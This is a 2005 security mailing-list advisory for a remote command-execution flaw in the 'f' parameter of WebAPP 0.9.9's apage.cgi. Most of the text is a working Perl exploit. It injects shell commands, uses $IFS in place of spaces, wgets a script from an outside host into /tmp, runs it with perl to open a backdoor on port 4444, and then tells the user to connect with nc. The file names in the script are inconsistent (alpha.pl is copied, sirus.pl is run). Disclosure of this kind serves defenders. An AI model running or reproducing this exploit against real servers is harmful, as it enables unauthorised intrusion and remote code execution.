[UNIX] WebApp Arbitrary Code Execution (apage.cgi, Exploit)

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To: list@securiteam.com
Date: 22 May 2005 15:52:24 +0200

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  WebApp Arbitrary Code Execution (apage.cgi, Exploit)
------------------------------------------------------------------------

SUMMARY

" <http://www.web-app.org/> WebAPP is a dynamic web site system with
community features including forums, articles, links, downloads, top 10,
and Palm pilot for handhelds"

The following exploit will cause the WebAPP to open a backdoor listening
on 4444 port by a vulnerability in the program's 'f' parameter found in
the apage.cgi.

DETAILS

Vulnerable Systems:
 * WebApp version 0.9.9

Exploit:
#!/usr/bin/perl
#################################
# T r a p - S e t U n d e r G r o u n D H a c
k i n g T e a m #
#################################
# Remote C0mmand Executing Expl0it - For WebAPP CGI
#
#Exploit By : A l p h a _ P r o g r a m m e r ( Sirus-v );
#E-Mail : Alpha_Programmer@Yahoo.com
# Trapset_Sec@Yahoo.Ca
#This xpl Open a Backdoor in 4444 Port with Nobody Access !!! All Of The
*NIX OS that Have UnPatch
#apage.cgi is Vulnerable in this M0ment !!
#
#################################
# Gr33tz To => AlphaST.Com , Crouz.Com , Simorgh-ev.Com And MH_P0rtal
, Oil_Krachack #
#################################
use IO::Socket;

if (@ARGV < 2)
{
  print "\n=======================\n";
  print " \n WebAPP CGI Exploit By Alpha_Programmer \n\n";
  print " Trap-Set Underground Hacking Team \n\n";
  print " Usage: <T4rg3t> <Dir> \n\n";
  print "=======================\n\n";
  print "Examples:\n\n";
  print " WebApp.pl www.Host.com /cgi-bin/ \n";
  exit();
}

$serv = $ARGV[0];
$serv =~ s/http:\/\///ge;

$dir = $ARGV[1];

$cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";

$cmde =~ s/ /"\$IFS"/ge;

$req = "GET http://$serv";
$req .= "$dir";
$req .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_".
"\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv",
PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

print $sock $req;
print "\nPlease Wait ...\n\n";
sleep(3000);
close($sock);

$sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv",
PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

$cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 sirus.pl;perl sirus.pl";

$cmde2 =~ s/ /"\$IFS"/ge;

$req2 = "GET http://$serv";
$req2 .= "$dir";
$req2 .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_" .
"\";$cmde2;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

print $sock2 $req2;
print "\n\n$$$ OK -- Now Try: Nc -v www.host.com 4444 $$$\n";
print "$$ if This Port was Close , This mean is That , You Hav'nt
Permission to Write in /TMP $$\n";

## EOF ##

ADDITIONAL INFORMATION

The information has been provided by <mailto:alpha_programmer@yahoo.com>
Alpha Programmer.

========================================

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